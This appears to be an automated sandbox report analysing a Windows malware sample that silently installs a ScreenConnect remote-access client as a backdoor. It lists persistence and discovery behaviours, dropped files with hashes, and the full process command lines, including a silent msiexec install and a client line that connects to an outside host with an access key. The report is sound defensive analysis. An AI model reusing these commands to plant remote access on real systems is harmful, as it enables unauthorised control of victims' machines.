Analysis

  • max time kernel
    150s
  • max time network
    136s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/07/2026, 00:01

General

  • Target
    2026-07-22_4c2dcc452a001e8d2d24f656e39ade24_amadey_elex_glassworm_luca-stealer_njrat_remcos_smoke-loader.exe
  • Size 12.7MB
  • Sample260723-aaxetaxcrd
  • SHA256 d522aa8fab045f887e61992612d29696444e68104c1aa151219a526115ba1f4c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 3 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 17 IoCs
  • Drops file in Windows directory 26 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-22_4c2dcc452a001e8d2d24f656e39ade24_amadey_elex_glassworm_luca-stealer_njrat_remcos_smoke-loader.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-22_4c2dcc452a001e8d2d24f656e39ade24_amadey_elex_glassworm_luca-stealer_njrat_remcos_smoke-loader.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:1716
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\CLSET.msi" /q
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:4112
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4504
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 7B361E1D31B3056F0D326DC9817CE505
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4452
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSIB51.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240716718 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:5836
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 9CED3A8506745E6FEEDA41AF961892D7 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:5600
  • C:\Program Files (x86)\ScreenConnect Client (e88a100d2a85eaf8)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (e88a100d2a85eaf8)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=210.216.173.178&p=8041&s=e1aca9c9-0c38-453b-b0fb-2d212c519d6c&k=BgIAAACkAABSU0ExAAgAAAEAAQDhSjPz1%2fUk3fwmTUSRF7EKYIGFj2bGEKYWQnHqrHgunG%2bXcKubOnW3URBbUTIvNIaZXm1Rj8GvTZcTs3vmoM9Mlkus8%2fpdhPKAJndWQULrfrzdB%2f5bThLYBAUfLwR0wfVixVBNfXevSmFXf%2b170Xf%2b20gto3zpaFUaR966yvbO4HlPonjzsGAKUjGKCRYY5ebimKsOVLlR85LYFBOhtYVT8BulPsft%2fA4UiK44jFoouaja1Qdfr1VH64X3GmeAfZx4af1vRRgXhlGLSOi9cQ0hSktVZRCGYg2dfgmdA523r%2ffKh4J%2fvOkUHd9eHbRjl%2bAgTw1McfAMUqtTT%2bMQw2Ca&c=installbot&c=&c=&c=&c=&c=&c=&c="
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4984
    • C:\Program Files (x86)\ScreenConnect Client (e88a100d2a85eaf8)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (e88a100d2a85eaf8)\ScreenConnect.WindowsClient.exe" "RunRole" "001d4376-3eba-4ccf-9ae3-21ed4897805f" "User"
      2⤵
      • Executes dropped EXE
      PID:3680
    • C:\Program Files (x86)\ScreenConnect Client (e88a100d2a85eaf8)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (e88a100d2a85eaf8)\ScreenConnect.WindowsClient.exe" "RunRole" "00320351-7f89-4b63-8c6c-3d4f660e80c3" "System"
      2⤵
      • Executes dropped EXE
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:2688

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        e59098e.rbs

        • Path C:\Config.Msi\e59098e.rbs
        • Size 214KB
        • SHA256 05c3f9ea4bc66b20870a4f0fd48bb2da99084854b15581e468c4367b2c556b4d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (e88a100d2a85eaf8)\Client.en-US.resources
        • Size 48KB
        • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (e88a100d2a85eaf8)\Client.resources
        • Size 26KB
        • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Client.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (e88a100d2a85eaf8)\ScreenConnect.Client.dll
        • Size 190KB
        • SHA256 8f1a8dda73773a0c5ed63d2541a2c142361133a5df06768b8b5f771976d86e84
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (e88a100d2a85eaf8)\ScreenConnect.ClientService.dll
        • Size 66KB
        • SHA256 fd5818dcdf5fc76316b8f7f96630ec66bb1cb5b5a8127cf300e5842f2c74ffca
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (e88a100d2a85eaf8)\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 f1b5c000794f046259121c63ed37f9eff0cfe1258588eca6fd85e16d3922767e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (e88a100d2a85eaf8)\ScreenConnect.Core.dll
        • Size 530KB
        • SHA256 b1bdbc29626a60d622f093b3186c9fc65254d9bdfbddfa74a17ebc80a511dfbf
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsAuthenticationPackage.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (e88a100d2a85eaf8)\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (e88a100d2a85eaf8)\ScreenConnect.WindowsClient.exe
        • Size 573KB
        • SHA256 2538544f471eca3981e918619997956c7090092cc7fcdc7d0a7d5f7410f57427
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe.config

        • Path C:\Program Files (x86)\ScreenConnect Client (e88a100d2a85eaf8)\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.WindowsCredentialProvider.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (e88a100d2a85eaf8)\ScreenConnect.WindowsCredentialProvider.dll
        • Size 822KB
        • SHA256 7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        app.config

        • Path C:\Program Files (x86)\ScreenConnect Client (e88a100d2a85eaf8)\app.config
        • Size 508B
        • SHA256 779c074d07a35de132ade25762da935077cf6a7da2c3812cc4f432d5dad73394
        • MD5 SHA1 SHA512 TLSH

        system.config

        • Path C:\Program Files (x86)\ScreenConnect Client (e88a100d2a85eaf8)\system.config
        • Size 943B
        • SHA256 3aa761e52c35f3dec11a85362dce6738c22cccd5809bf3e2eee76ffd1c82456f
        • MD5 SHA1 SHA512 TLSH

        CLSET.msi

        • Path C:\Users\Admin\AppData\Local\Temp\CLSET.msi
        • Size 11.8MB
        • SHA256 da07543edae59e06b77cc47a2f58d08e3efafeab45a8c616ffac2145e3b518fd
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI119C.tmp

        • Path C:\Windows\Installer\MSI119C.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSIB51.tmp

        • Path C:\Windows\Installer\MSIB51.tmp
        • Size 1.0MB
        • SHA256 0918d8ab2237368a5cec8ce99261fb07a1a1beeda20464c0f91af0fe3349636b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Microsoft.Deployment.WindowsInstaller.dll

        • Path C:\Windows\Installer\MSIB51.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Windows\Installer\MSIB51.tmp-\ScreenConnect.Core.dll
        • Size 536KB
        • SHA256 a2e9752de49d18e885cbd61b29905983d44b4bc0379a244bfabdaa3188c01f0a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.InstallerActions.dll

        • Path C:\Windows\Installer\MSIB51.tmp-\ScreenConnect.InstallerActions.dll
        • Size 11KB
        • SHA256 d727a640723d192aa3ece213a173381682041cb28d8bd71781524dbae3ddbf62
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Windows\Installer\MSIB51.tmp-\ScreenConnect.Windows.dll
        • Size 1.6MB
        • SHA256 84a09ed81afc5ff9a17f81763c044c82a2d9e26f852de528112153ee9ab041d0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/3680-121-0x000000001BEE0000-0x000000001C08A000-memory.dmp

        memory/3680-119-0x0000000002E30000-0x0000000002E66000-memory.dmp

        memory/3680-118-0x0000000000C20000-0x0000000000CB6000-memory.dmp

        memory/3680-120-0x000000001BCA0000-0x000000001BD2C000-memory.dmp

        memory/3680-122-0x000000001C220000-0x000000001C3A8000-memory.dmp

        memory/3680-123-0x0000000002DF0000-0x0000000002E08000-memory.dmp

        memory/3680-124-0x0000000002E70000-0x0000000002E88000-memory.dmp

        memory/4984-110-0x0000000004940000-0x0000000004A12000-memory.dmp

        memory/4984-108-0x0000000004850000-0x0000000004891000-memory.dmp

        memory/4984-106-0x0000000004C10000-0x0000000004CA2000-memory.dmp

        memory/4984-105-0x0000000004900000-0x0000000004936000-memory.dmp

        memory/4984-101-0x00000000048B0000-0x0000000004900000-memory.dmp

        memory/4984-84-0x0000000004760000-0x00000000047EC000-memory.dmp

        memory/4984-78-0x00000000020D0000-0x00000000020E8000-memory.dmp

        memory/5836-32-0x0000000005720000-0x000000000572A000-memory.dmp

        memory/5836-28-0x00000000056E0000-0x000000000570E000-memory.dmp

        memory/5836-36-0x0000000005800000-0x000000000588C000-memory.dmp

        memory/5836-40-0x0000000005A40000-0x0000000005BEA000-memory.dmp

        memory/5836-41-0x00000000061B0000-0x000000000676A000-memory.dmp